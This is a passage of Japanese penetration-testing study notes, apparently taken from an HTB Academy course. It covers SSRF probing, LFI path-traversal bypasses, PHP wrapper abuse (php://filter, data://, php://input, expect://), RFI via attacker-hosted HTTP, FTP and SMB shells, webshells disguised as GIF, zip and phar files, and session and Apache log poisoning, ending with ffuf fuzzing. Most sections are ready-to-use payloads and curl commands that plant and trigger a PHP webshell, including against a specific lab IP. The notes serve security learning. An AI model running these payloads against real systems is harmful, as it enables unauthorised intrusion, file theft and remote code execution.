htmlソースでの検索
- コメントの検索
- 1ページずつ見る必要ない
- Scrapyを使えばいい!!!
- 全ページ(robots.txt以外のdisallow以外のページ)のコメントを取得して集めてくれる
- obsidian://open?vault=Obsidian&file=Pentest_Technique%2FLinux%E3%83%BBWindows%E5%85%B1%E9%80%9A
- 内部IPアドレスやAPIキー、パスワードが見つかることもある
- 検索ボックスに「
<!--
」を入れて検索
- 1ページずつ見る必要ない
- キーの検索
- 検索ボックスに以下を入れて検索
key
keys
api
password
credential
<input type="hidden">
- 隠しフィールドの値を書き換える
- CMSについての検索
- CMSが使われていればCMSの脆弱性をつくこともできる
- 検索ボックスに
- wordpress
- drupal
- joomla
- を入れて検索
SSRF
- URLを入力して、サーバーがリクエストを送るフォームがある場合にできる攻撃
SSRF : Server-Side Request Forgeryの脆弱性がある可能性がある
攻撃者がサーバーに不正なリクエストを送信させ、内部ネットワークや非公開のAPIにアクセスさせる脆弱性
SSRFの脆弱性があるケースの詳細 - ユーザーが指定したURLに対して、サーバーがリクエストを送る機能がある
- 画像のURLプレビュー
- ユーザーがURLを入力すると、画像を取得して表示
- webhookの登録
- ユーザーがwebhookのURLを指定すると、。サーバーがリクエストを送る
- 外部APIと連携するシステム
- 画像のURLプレビュー
- 外部サービスとの通信を行う機能がある
- PDFの生成機能
- クラウド関連の操作
- AWSやGCPのメタデータにアクセスできるの可能性がある
検証方法
- 内部サービスへのアクセスを確認するためにローカルアドレスにリクエスト送る
burpsuiteでサーバーがリクエストを送っているかを確認する
基本的なSSRFテスト
入力フォームやAPIエンドポイントに、以下のURLを試す
http://127.0.0.1/
http://localhost/
http://192.168.1.1/
http://10.0.0.1/
http://[::1]/
→ 何らかのレスポンスがある場合、内部アクセスが可能な可能性が高い。
管理パネルのチェック
SSRFで管理パネルやアプリケーションにアクセスできるかを調査
http://localhost/admin
http://127.0.0.1:8000/
http://127.0.0.1:8080/
http://127.0.0.1:5000/
http://127.0.0.1:9001/ (Supervisor)
→ 404以外のレスポンスや特定の管理画面のレスポンスが返ってきたら脆弱性あり。
Bypass Techniques(フィルタ回避)
一部のサーバーでは、SSRFを防ぐために「localhost
へのリクエスト禁止」などの制限がある。
以下の方法でバイパスを試す。
- IPアドレスのエンコード
http://2130706433/ # 127.0.0.1 を整数表記
http://0x7F000001/ # 127.0.0.1 を16進数
- DNS Rebinding
一部のサーバーでは、外部ドメインから内部へリクエストを送れるようになる。
http://attacker-controlled-domain.com/
→ DNSリバインディングを利用し、localhost
へリダイレクト。
LFI
LFI(ローカルファイルインクルージョン)とは?
- サーバー内のファイルを「URLのパラメータ操作」で読み込ませる脆弱性
- 例:
index.php?page=about
→../../etc/passwd
に変えて内部ファイルを見ようとする
- 例:
なぜ危険なのか?
- ソースコードの中身が見えるようになる
- 他の脆弱性(SQLインジェクション、認証回避)を探す手がかりに
- サーバー上の機密情報が漏れる
- DBのパスワードやAPIキー、認証情報など
- 条件によってはリモートでコードを実行できる(RCE)
- 攻撃者がファイルをアップロードできる場合などは特に注意
LFIが起こりうる関数
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include() /include_once() |
✅ | ✅ | ✅ |
require() /require_once() |
✅ | ✅ | ❌ |
file_get_contents() |
✅ | ❌ | ✅ |
fopen() /file() |
✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() |
✅ | ❌ | ❌ |
fs.sendFile() |
✅ | ❌ | ❌ |
res.render() |
✅ | ✅ | ❌ |
Java | |||
include |
✅ | ❌ | ❌ |
import |
✅ | ✅ | ✅ |
.NET | |||
@Html.Partial() |
✅ | ❌ | ❌ |
@Html.RemotePartial() |
✅ | ❌ | ✅ |
Response.WriteFile() |
✅ | ❌ | ❌ |
include |
✅ | ✅ | ✅ |
攻撃者のテクニック
ディレクトリトラバーサル
URLパラメータの末尾の変更
http://<SERVER_IP>:<PORT>/index.php?language=es.php ⇨ ?language=../../../../etc/passwd
のように親フォルダを遡る
- いくら
../
を重ねても/
ディレクトリよりも上にはいかないので、基本的に../
を10個くらいつ投げれば攻撃は成功する - Linux環境なら
/etc/passwd
、WindowsならC:\Windows\boot.ini
が定番の読み取り対象
入力値がinclude()関数に直接渡されているときに機能する
include($_GET['language']);
基本的なバイパス手法
- 通常、うまくいくことはなく、なんらかのXSSに対する対策もされている
- しかし、その対策をすり抜けて、XSSを実行することができる
非再帰型パストラバーサルフィルター
最も基本的な「検索&置換フィルター」
例えば、以下のように「../」を削除することでパスとラバーサルを防ごうとするもの
$language = str_replace('../', '', $_GET['language']);
この文字列に対して、../
を1回だけ削除するフィルターを通すと、結果は ../
となり、パストラバーサルが成立してしまう
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
非再帰型パストラバーサルフィルターに対するバイパス手法
....//
....//
..././
....\/
....\/
....////
エンコーディングによるバイパス
一部のWebフィルターでは、LFIに関連する特定の文字(例:ドット . やスラッシュ /)が含まれる入力をブロックすることがある
しかし、これらの文字をURLエンコードすることで、フィルターをすり抜けることができる場合がある
なので、通常のディレクトリとラバーサルの攻撃をエンコーディングすればできる時もある
さらに、Burp Decoderを使って二重エンコード(double encoding)すれば、他のフィルターにもバイパスできる可能性が広がる
エンコードするときに使えるツール
許可されたパス
一部のWebアプリケーションでは、正規表現を使って、インクルードできるファイルを特定のパス配下に制限している場合がある
以下のように ./languages
ディレクトリ内にあるファイルだけを許可しているコードがある
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
こうしたケースでは、まずアプリが通常使っているパス(例:フォームやリンクから送信されるリクエスト)を観察し、どのようなパスが使われているかを確認する
その後、同じパス内のディレクトリをファズ(fuzz)して、使えるパスを探すこともできる
これをバイパスする方法としては、まず許可されたパスから始めて、そのあとに ../
を使って上位ディレクトリに遡り、目的のファイルを指定する手法がある
./languages/../../../../etc/passwd
拡張子の付加
一部のWebアプリケーションでは、ユーザー入力の末尾に自動的に拡張子(例:.php)を付け加えることで、インクルードされるファイルの拡張子を制限する
現在のPHPのバージョンでは、こうした処理をバイパスするのは難しく、結果として読み込めるファイルも.phpに限られる
古いPHPバージョン(5.3や5.4より前)でのみ有効な手法もいくつか存在する
パストランケーション
古いPHPバージョンでは、文字列の最大長が4096文字に制限されていた(おそらく32ビットシステムによる制限)
この制限を超えた部分は単純に切り捨てられ、無視される
さらに、以前のPHPではパスの末尾にあるスラッシュ / やドット . も自動的に削除される
つまり /etc/passwd/. のようなパスは、/. が消えて /etc/passwd として解釈される
////etc/passwd → /etc/passwd
/etc/./passwd → /etc/passwd
これらの特性を組み合わせれば、非常に長い文字列を作って4096文字を超えさせることで、末尾に自動的に付加された拡張子 .php を切り捨てさせることが可能
この手法が機能するには、パスの先頭に存在しないディレクトリ名を置く必要がある
次のようなペイロードが例
?language=non_existing_directory/../../../etc/passwd/./././././ (←これを約2048回繰り返す)
もちろん、これを手作業で2048回書く必要はなく、以下のようなコマンドで自動生成できる
snowyowl644@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
Null Bytes
- PHP 5.5より前のバージョンには、ヌルバイトインジェクションの脆弱性が存在していた
- この脆弱性では、入力文字列の末尾に**ヌルバイト(%00)**を追加することで、その後の文字列が無視される、というもの
- 低レベルのメモリ処理に起因するもので、CやC++などの言語では、文字列の終端をヌルバイトで示す仕組みがある
- そのため、%00が現れると、その後の内容が「存在しない」として扱われる
この脆弱性を利用するには、たとえば以下のようにペイロードを送る
-
/etc/passwd%00
-
/etc/passwd%00.php
- PHPは %00 を見た時点で文字列が終わったと判断し、それ以降の .php を無視して、結果的に /etc/passwd を読み込ませることができる
- 自動で付加された拡張子をバイパスすることが可能になる
-
NULLバイト攻撃(PHP古いバージョン):
.php%00
で拡張子偽装 -
拡張子が付加されていることもよくある
include($_GET['language'] . ".php");
- ファイルアップロード+LFIでRCEに持ち込むパターンもある
守り方(対策のポイント)
- 入力値をファイルパスに使わない(使うならホワイトリスト方式で)
- パスに使う前に、値を検証・サニタイズする
- ファイルの存在チェックと、読み込む場所の制限をする(例:特定ディレクトリのみ許可)
- エラーメッセージを外部に漏らさない(情報漏えい防止)
おまけ:理解の助けになるイメージ
- LFIは「ユーザーにリモコンを渡して家の中の棚から好きなファイルを引っ張らせる」ようなもの
- 鍵をかけていなければ、重要書類も勝手に読まれてしまう
PHPフィルター
PHPフィルターとは?
php://filter/
という特殊なスキームで、ファイルの内容を変換できる仕組み- 通常のPHPファイルは実行されてしまうが、これを使うとソースが読めるようになる
- 主に使うのは
convert.base64-encode
- ファイルの内容をBase64にして出力できる
使い方の例
- PHPファイルのソースを読みたいときはこうする
php://filter/read=convert.base64-encode/resource=ファイル名
例)
config.php
のソースコードを読みたいとき:php://filter/read=convert.base64-encode/resource=config
php://filter/read=convert.base64-encode/resource=index
→ ソースをbase64化して取得
php://filter/read=convert.quoted-printable-encode/resource=admin
→ 出力形式を変えて読む- アプリ側で
.php
が自動で付くので、拡張子なしでOK
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
出力された文字列の処理
- 表示されるのは base64 エンコードされた文字列
- これを
base64 -d
でデコードすれば中身がわかる
- これを
echo -n 'Base64でエンコードした値' | base64 -d > XXX.php
注目ポイント
- ソースコードには以下のような重要情報が含まれることがある
- データベース接続情報
- APIキーやトークン
- 認証・認可の処理ロジック
- 他のファイルの読み込み先
PHP ラッパー
PHPラッパーって?
- PHP独自のストリームスキームで、ファイルや入力に処理を加えられる
php://filter
→ ソースコードをbase64で取得data://
→ base64で渡したPHPコードを実行できる(要設定)
PHP設定ファイルの場所
- Apache:
/etc/php/X.Y/apache2/php.ini
- Nginx:
/etc/php/X.Y/fpm/php.ini
(※X.YはPHPのバージョン番号)
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
base64のデコードとallow_url_includeが有効かどうか
上の出力のContainersの中身を使う
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
PHPラッパーでRCE
- PHPの設定
allow_url_include = On
が必要- デフォルトではOffなので、LFIで
php.ini
を読んで確認する
- デフォルトではOffなので、LFIで
- allow_url_includeが有効かどうかを見る
php.ini
をLFIで読み取る(base64エンコードして取得)?=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
- 出力をデコードして
allow_url_include
の値を見る
- 有効なら
data://
ラッパーでRCEが可能!
- Webシェルをbase64エンコード
- PHPコードをbase64エンコード
snowyowl644@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
- data://ラッパーとして組み込む
- URLに組み込む
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
- 結果:
uid=33(www-data)
が返れば、RCE成功!
攻撃者として見るべきポイント
allow_url_include = On
→ 攻撃が可能- 実行結果に
uid=
,root
,flag
,bash
などが含まれていないか - 実行できるコマンドの範囲(環境制限や制御の有無)
inputラッパーを使った攻撃
- input ラッパーも data ラッパーと似ていて、外部のPHPコードをインクルードして実行できる
- 違いは、コードをPOSTリクエストの本文に含めて送る点
- この攻撃には、対象のパラメータがPOSTリクエストを受け付けることが前提
- また、allow_url_include の設定も必要
webシェルをPOSTリクエストで送信する
snowyowl644@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
- php://input により、POSTのボディ内のPHPコードが実行される
expectラッパーを使った攻撃
- expect ラッパーは、URL経由でコマンドを直接実行できるラッパー
- Webシェルを送る必要すらなく、コマンドをそのまま指定できる
- ただしこれは標準では無効で、サーバ側で expect モジュールが有効になっている必要がある
expect モジュールが有効か確認
前と同じように、php.ini をbase64で取得・デコードし、expect が含まれているか確認する
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
- extension=expect が確認できれば、expect:// ラッパーが使える!
expectでコマンド実行
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
まとめるとこんな感じ
ラッパー | コマンド送信方法 | メリット | 条件 |
---|---|---|---|
data:// | GET | シンプルなWebシェルで柔軟に操作可能 | allow_url_include = On |
php://input | POST | ソースコードに直接PHP送信できる | POST受付+allow_url_include = On |
expect:// | URL | コマンド指定だけで実行可能(Webシェル不要) | expectモジュールが有効 |
RFI
- 脆弱な関数がリモートURLのインクルードを許可しているときに、リモートファイルインクルージョン(RFI)も可能になる
利点 - ローカル限定のポートやWebアプリケーションを列挙できる(例:SSRF)
- 自分がホストしている悪意のあるスクリプトを読み込ませることで、リモートコード実行が可能になる
RFIが可能な脆弱な関数
言語 | 関数 | 内容読み取り | 実行 | リモートURL対応 |
---|---|---|---|---|
PHP | include()/include_once() | ✅ | ✅ | ✅ |
PHP | file_get_contents() | ✅ | ❌ | ✅ |
Java | import | ✅ | ✅ | ✅ |
.NET | @Html.RemotePartial() | ✅ | ❌ | ✅ |
.NET | include | ✅ | ✅ | ✅ |
ほとんどのRFI脆弱性はLFI脆弱性でもあるといえる | ||||
しかし、LFIの脆弱性が全て、RFIであるわけではない | ||||
理由 |
- 脆弱な関数がリモートURLのインクルードをそもそも許可していない可能性がある
- パスの一部しか制御できず、プロトコル(例:http://, ftp://, https://)を含めて自由に指定できないことがある
- サーバーの設定で、リモートファイルのインクルードが完全に無効化されている(多くの現代的なWebサーバーではこれがデフォルト)
上の表にもあるように、リモートURLのインクルードはできてもコードの実行ができない関数も存在する
SSRFを使ったローカルポートやWebサービスの列挙などで脆弱性を悪用できる場合がある
RFIの確認
PHPではリモートファイルのインクルードを有効にするには、allow_url_include 設定が On になっている必要がある
allow_url_include 設定が On になっているかの確認
これで、ファイルが開けなかったら、Ubuntuのパスだと
/etc/php/7.2/apache2/php.ini
/etc/php/7.4/apache2/php.ini`
だkら、両方試す
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
base64のデコードとallow_url_includeが有効かどうか
上の出力のContainersの中身を使う
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
でも、脆弱な関数がリモートURLの読み込みを許可していない場合もあるため、これだけでは判断できないことがある
より信頼できる方法としては、実際にURLをインクルードして、その内容を取得できるかを試す
まず最初に、ローカルのURL(例:http://127.0.0.1:80/index.php)をインクルードしてみる
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
RFIによるRCE
- RFIでリモートコード実行を行うための最初のステップは、対象のWebアプリケーションと同じ言語(この場合PHP)で悪意あるスクリプトを作成すること
- インターネットから入手したWebシェルやリバースシェルスクリプトを使ってもいいですが、前のセクションと同様に、簡単な自作Webシェルを作る
echo '<?php system($_GET["cmd"]); ?>' > shell.php
HTTP
pythonでホスト
sudo python3 -m http.server <LISTENING_PORT>
アクセス
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
FTP
pythonでホスト
sudo python -m pyftpdlib -p 21
アクセス
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
- PHP はデフォルトで anonymous(匿名)ユーザーとしてFTPに接続を試みる
- もしFTPサーバーが認証を必要とする場合は、次のようにURLにユーザー名とパスワードを埋め込むことができる
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
SMB
対象のWebアプリケーションが Windowsサーバー上で動いている場合、RFIのために allow_url_include の設定を有効にする必要はない
代わりに、SMBプロトコル を利用することでRFIが可能になる
- WindowsがリモートSMBサーバー上のファイルを、ローカルファイルと同様に扱うという特性によるもの
impacket-smbserver -smb2support share $(pwd)
アクセス
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
LFIとファイルアップロード
- もし、脆弱な関数に「コード実行の能力」がある場合、アップロードしたファイル内のコードは、インクルードされたときに拡張子やファイルタイプに関係なく実行される
- たとえば、画像ファイル(例:image.jpg)としてPHPのウェブシェルコードを画像データの代わりに仕込んでアップロードし、それをLFIの脆弱性を通じて読み込ませれば、PHPコードが実行され、リモートコード実行が可能になる
コード実行を伴うファイルインクルージョンが可能な関数
言語 | 関数名 | ファイル読み取り | ファイル実行 | リモートURL対応 |
---|---|---|---|---|
PHP | include()/include_once() | ✅ | ✅ | ✅ |
PHP | require()/require_once() | ✅ | ✅ | ❌ |
NodeJS | res.render() | ✅ | ✅ | ❌ |
Java | import | ✅ | ✅ | ✅ |
.NET | include | ✅ | ✅ | ✅ |
画像のアップロードは、ほとんどのモダンなWebアプリケーションで非常に一般的
- なぜなら、画像アップロードはセキュアに実装されていれば安全だと広く考えられているから
- ただし、ここで問題になるのはアップロードフォームの脆弱性ではなく、「ファイルインクルージョン機能」の脆弱性
悪意のある画像の作成
- 最初のステップは、PHPウェブシェルのコードを埋め込んだ「見た目は画像」の悪意ある画像を作ること
- つまり、ファイル名には許可された画像拡張子(例:shell.gif)を使い、ファイル内容の先頭には画像のマジックバイト(例:GIF8)を含める必要がある
- アップロード機能がファイル拡張子と内容の両方をチェックしている場合への対策
- このようにして、アップロードと同時にLFI脆弱性を通じてコードを実行できるファイルを準備することができる
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
- ファイル自体は単体ではまったく無害で、通常のWebアプリケーションに影響を与えることはない
- しかし、LFI脆弱性と組み合わせると、リモートコード実行(RCE)を達成できる可能性がある
GIFにしている理由
- マジックバイト(GIF8)がASCII文字で表現可能なため
- PNGやJPEGなど他の画像形式はマジックバイトがバイナリであるため、URLエンコードが必要になる場合がある
- 作成した悪意ある画像ファイルをアップロードする
LFIでのRCE
- ファイルをアップロードしたら、あとはそれをLFI(ローカルファイルインクルージョン)脆弱性を使って読み込むだけ
- アップロードされたファイルのパスを知る必要がある
- 多くの場合(特に画像の場合)、アップロード後にその画像へアクセスでき、そのURLからファイルのパスを確認できる
- 検証とかを使って
- もしアップロード先のパスが分からない場合は、「uploads」などのディレクトリをファズ(fuzz)してみたり、その中でアップロードされたファイル名を探してみる方法もある
- アップロードされたファイルのパスが分かれば、あとはそのパスをLFI脆弱な関数に渡して読み込むだけ
http://example.com/vulnerable.php?page=/profile_images/shell.gif&cmd=whoami
このように、LFI脆弱性とアップロード機能を組み合わせることで、リモートコード実行(RCE)を達成することが可能になる
zipラッパーでのRCE(PHP限定)
- zip:// ラッパーを利用することで、ZIPファイル内のPHPコードを実行させることが可能
- このラッパーはデフォルトで有効になっていないので、常に使えるとは限らない
方法
- まずPHPウェブシェルスクリプトを作成し、それをZIPアーカイブ(ここでは shell.jpg という名前)に圧縮
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
なんか、うまくいかない時
echo '<?php system("ls -la /"); ?>' > shell.php && zip shell.jpg shell.php
- ZIPアーカイブに .jpg 拡張子をつけているのは、画像ファイルに見せかけてアップロードを通すため
- 1部のアップロードフォームではContent-Type(MIMEタイプ)をチェックしてZIPファイルであることを見抜く場合もあり、この手法はZIPのアップロードが許可されている場合に成功率が高くなる
ZIPアーカイブ shell.jpg をアップロードした後、以下のようにzip:// ラッパーを使用してファイルをインクルードする
zip://./profile_images/shell.jpg#shell.php
その後、通常どおりコマンドを実行する
- ここで ./profile_images/ をファイル名の前につけているのは、脆弱なページ(例:index.php)がルートディレクトリに存在しているため、正しい相対パスを指定する必要があるから
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
PharファイルでのRCE
Pharファイルは内部にPHPコードを含むことができて、phar:// でアクセスされたときにコードが評価(実行)される可能性がある
そして攻撃者はこの性質を使って、こうします:
1. .pharファイルを画像に偽装して(例:shell.jpg)アップロード
2. phar://アップロード先パス/shell.jpg/shell.txt としてLFI経由で読み込み
3. 中のPHPコードが実行されて、**リモートコード実行(RCE)**に持ち込む
- phar:// ラッパーを使用してRCEを行う方法
まず以下のPHPスクリプトを shell.php というファイルに書き込む
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
- このスクリプトを使って phar ファイルを作成すると、ファイル内に shell.txt というサブファイルが含まれ、そこにPHPのウェブシェルコードが書き込まれる
- このサブファイルを通して、コマンドの送信や実行ができるようになる
ファイルを Phar アーカイブにコンパイルし、拡張子を .jpg に変更して偽装する
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
これで shell.jpg という名前の Phar ファイルが完成する
このファイルをWebアプリケーションにアップロードしたら、以下のように phar:// ラッパーを使ってアクセスする
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
ログポイズニング
PHPコードを含むファイルをインクルードすれば、それが実行権限を持つ脆弱な関数によって実行されることがわかる
ログポイズニングの攻撃の概念
- 「自分が制御できるフィールドにPHPコードを書き込み、それがログファイルに記録され(=ログファイルを汚染/毒する)、そのログファイルをインクルードしてPHPコードを実行する」というもの
- この攻撃を成功させるには、PHPウェブアプリケーションがログファイルに対する読み取り権限を持っている必要がある(これはサーバーによって異なります)。
- 前のセクションと同様に、以下のいずれかの関数が実行権限を持っていれば、これらの攻撃に対して脆弱
言語 | 関数 | 内容の読み取り | 実行 | リモートURL |
---|---|---|---|---|
PHP | include() / include_once() | ✅ | ✅ | ✅ |
PHP | require() / require_once() | ✅ | ✅ | ❌ |
NodeJS | res.render() | ✅ | ✅ | ❌ |
Java | import | ✅ | ✅ | ✅ |
.NET | include | ✅ | ✅ | ✅ |
PHPセッション・ポイズニング
- ほとんどのPHPウェブアプリケーションは、PHPSESSIDクッキーを利用しており、バックエンドで特定のユーザー関連データを保持することで、クッキーを通じてユーザー情報を追跡できるようにしている
- これらは、バックエンドのセッションファイルに保存されている
- Linuxでは
/var/lib/php/sessions/
- Windowsでは
C:\Windows\Temp\
に格納されている
- このセッションファイルの名前は、自分のPHPSESSIDクッキーの値と一致し、
sess_
プレフィックスが付く- 例えば、PHPSESSIDクッキーが
el4ukv0kqbvoirg7nkp4dncpk3
に設定されている場合、ディスク上のファイルのパスは/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
になる
- 例えば、PHPSESSIDクッキーが
- PHPセッション・ポイズニング攻撃で最初に行うべきことは、自分のセッションファイル(PHPSESSID)を調査し、そこに自分が制御できるデータが含まれているかどうかを確認すること
まず、自分にPHPSESSIDクッキーが設定されているか確認する
- PHPSESSID クッキーの値は
nhhv8i0o6ua4g88bkdl9u1fdsd
であることがわかる- このセッションは /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd に保存されているはず
- このセッションファイルを LFI(ローカルファイルインクルード)脆弱性 を使って読み込み、中身を確認してみる
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
セッションファイルには、2つの値が含まれている
- page
選択された言語ページ(ユーザーが制御可能) - preference
選択された言語(自動的に設定されており、制御不可)
ここで重要なのは、page の値は 自分でコントロール可能であること - これは、?language= パラメータを通じて設定できる
次のステップは、セッションファイルへのPHPコードの書き込み(=ポイズニング)
以下のように、?language= パラメータに URLエンコードされたPHPウェブシェル を指定して、PHPコードをセッションファイルに書き込む
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
- このリクエストにより、セッションファイルにwebシェルが書き込まれる
- これで、セッションファイルをLFIで読み込むことで、リモートから任意のコマンドを実行できる状態になる
最後に、セッションファイルをインクルードして、コマンドを実行する
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
- 別のコマンドを実行したい場合は、セッションファイルに再度ウェブシェルを仕込む必要がある
- 前回ファイルを読み込んだ後、/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd が自動的に上書きされてしまうため
理想的には、この一時的なウェブシェルを使って、以下のような次のステップに進むことが推奨されてる
- ウェブディレクトリ上に永続的なウェブシェルを書き込む
- リバースシェルを送って、よりスムーズにシステムへアクセスできるようにする
サーバーログ・ポイズニング
- ApacheやNginxなどのWebサーバーは、access.log や error.log といったさまざまなログファイルを保持している
- 特に access.log には、サーバーへのすべてのリクエストに関する情報(リモートIP、アクセスページ、ステータスコード、User-Agentなど)が記録される
- このうち User-Agentヘッダーはリクエスト側から制御できるため、前述の方法と同様にこの値を使ってログファイルにPHPコードを書き込み、ログを汚染(poison)することが可能
ステップ1:LFIでログを読み込む
- ログファイルにPHPコードを書き込んだら、次はそれをLFI(ローカルファイルインクルード)脆弱性を使って読み込む
- このためには、サーバーログに対して読み取り権限が必要
- Nginx:デフォルトで低権限ユーザー(例:www-data)でもログを読み取り可能
- Apache:デフォルトでは高権限ユーザー(例:root や adm グループ)のみがアクセス可能
- ※ただし、古いバージョンや設定ミスがある場合は、低権限ユーザーでも読み取れる場合がある
デフォルトのログファイルのパス
OS | Apache | Nginx |
---|---|---|
Linux | /var/log/apache2/ | /var/log/nginx/ |
Windows | C:\xampp\apache\logs|C:\nginx\log| |
- ログの保存場所が変更されている場合もあるので、次のセクションで説明する「LFIワードリストによるファズィング」で場所を探すこともある
ステップ2:Apacheのaccess.logを読み込んでみる
- まず、/var/log/apache2/access.log をLFIで読み込んでみる
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
ステップ3:Burp Suiteを使ってログを汚染する
- User-Agent を変更するには、Burp Suiteを使ってリクエストをキャプチャし、以下のようにカスタムヘッダーを挿入する
ステップ4:curlを使って汚染することも可能
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
これにより、access.log にPHPコードが記録される
あとは、LFIを使ってこのログファイルを読み込めば、任意のコマンドを実行できる
✅ 成功したRCE手順まとめ(Apache Log Poisoning + LFI)
① PHPコードをApacheログに注入(User-Agentヘッダー)
- コマンド:
curl -s "http://83.136.252.13:45786/index.php" -A "<?php system(\$_GET['cmd']); ?>"
- 説明:
- Apacheの
access.log
にUser-Agentヘッダーが記録される特性を利用 - ここにPHPコードを仕込んで、後で読み込ませて実行させる
- Apacheの
② LFI脆弱性を利用して、ログファイルを読み込ませる
- コマンド:
curl -s "http://83.136.252.13:45786/index.php?language=/var/log/apache2/access.log&cmd=pwd"
- 説明:
/var/log/apache2/access.log
をPHPがinclude()
する形で読み込む- 先ほど仕込んだ
<?php system($_GET['cmd']); ?>
が実行される cmd=pwd
によってサーバーのカレントディレクトリが出力される
✅ 成功時の出力(pwdの結果)
/var/www/html
💡 補足Tips
\$_GET
のようにバックスラッシュを付けると、シェルエスケープに強い- Apacheの設定によっては
access.log
が読めないので、error.log
や/proc/self/environ
も試す価値あり - 出力確認用に以下のようなコードも便利:
curl -s "http://TARGET" -A "<?php echo 'TEST'; ?>"
🎯 まとめ
1. User-Agent にPHPを仕込んでログに記録させる
2. LFIでログを読み込み、コマンドを実行
3. &cmd=xxx で自由にコマンド実行できる
これでリモートコード実行(RCE)に成功!
おまけ:/proc ディレクトリを使った応用テクニック
- Linuxの /proc/ ディレクトリ内の一部ファイル(/proc/self/environ や /proc/self/fd/N)にも User-Agent 情報が含まれていることがある
- サーバーログに読み取り権限がない場合でも、これらのファイルにアクセスできれば同様の攻撃が可能
- ※ただし、これらのファイルも高権限でないと読み取れないことが多い
その他のログファイルを狙う
次のようなサービスログも読み取り可能であれば、ログポイズニングの対象になる
- /var/log/sshd.log
- /var/log/mail
- /var/log/vsftpd.log
これらのログにアクセスできる場合は、たとえば
- SSHやFTPにログイン試行 → ユーザー名にPHPコードを仕込む
- メール送信 → メール本文にPHPコードを含める
こうしたログがLFIを通じて読み込まれた場合、PHPコードが実行される可能性がある
自動スキャン
自動スキャンってどんなことをするの?
- ファイル名・パラメータを自動で試す
- 手作業では大変な作業をツールがやってくれる
- 通るペイロードを見つけたら、それを元に手動調査
- 使用ツール:
ffuf
- 高速ファズィングツール(総当たり系)
- WebアプリのURLに対して多数の値を送信して反応を見る
LFIスキャンの流れ
LFIスキャンの流れ(初心者向けステップ)
ステップ1:攻撃対象のページを見つける
- まずは動きのあるPHPページ(例:
index.php
)を確認 - URLの末尾に
?page=home
や?language=en
のようなパラメータがあるか探す - 何も見つからない場合は、パラメータ名をファズィング(総当たり)で探す
ステップ2:ファズィングで使えるパラメータを探す
- ffufなどで「使えそうなパラメータ名」を片っ端から試す
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
- 使えるパラメータが見つかると、サイズやステータスコードに変化が現れる
ステップ3:LFIペイロードを投げてみる
